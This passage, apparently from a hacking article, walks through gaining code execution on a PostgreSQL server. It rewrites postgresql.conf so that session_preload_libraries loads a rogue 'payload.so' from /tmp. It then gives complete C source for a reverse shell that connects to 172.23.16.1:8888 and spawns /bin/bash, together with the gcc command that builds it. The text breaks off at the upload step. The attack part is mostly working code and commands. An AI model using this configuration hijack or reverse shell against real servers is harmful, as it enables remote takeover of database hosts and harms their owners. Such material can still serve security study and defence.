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hacking

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We will focus on the "session_preload_libraries" variable, which dictates
what libraries should be preloaded by the server on a new connection[11].
It does not require a restart of the server, unlike
"shared_preload_libraries", and does not have a specific prefix prepended
to the path like the "local_preload_libraries" variable.
So, we can rewrite the malicious postgresql.conf to have a writable
directory in the "dynamic_library_path", e.g. /tmp, and to have a
rogue library filename in the "shared_preload_libraries", e.g.
"payload.so".
The updated config file will look like this:
--------------------------------------------------------------------------
$ cat postgresql.conf
...
# - Shared Library Preloading -
session_preload_libraries = 'payload.so'
...
# - Other Defaults -
dynamic_library_path = '/tmp:$libdir'
--------------------------------------------------------------------------
---[ 4.2 - Compiling the malicious library
One of the final steps is to compile a malicious library for the server to
load. The code will naturally vary depending on the OS the DBMS is running
under. For the Unix-like case, let's compile the following simple reverse
shell into an .so file. The "_init()" function will automatically fire on
library load:
--------------------------------------------------------------------------
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = 8888;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("172.23.16.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
--------------------------------------------------------------------------
Notice the presence of the "PG_MODULE_MAGIC" field in the code. It is
required for the library to be recognized and loaded by the PostgreSQL
server.
Before compilation, we must install proper PostgreSQL development packages
for the correct major version, 13 in our case:
--------------------------------------------------------------------------
$ sudo apt install postgresql-13 postgresql-server-dev-13 -y
--------------------------------------------------------------------------
The code can be compiled with gcc with the following command:
--------------------------------------------------------------------------
$ gcc \
-I$(pg_config --includedir-server) \
-shared \
-fPIC \
-nostartfiles \
-o payload.so \
payload.c
--------------------------------------------------------------------------
---[ 4.3 - Uploading the config and library to the server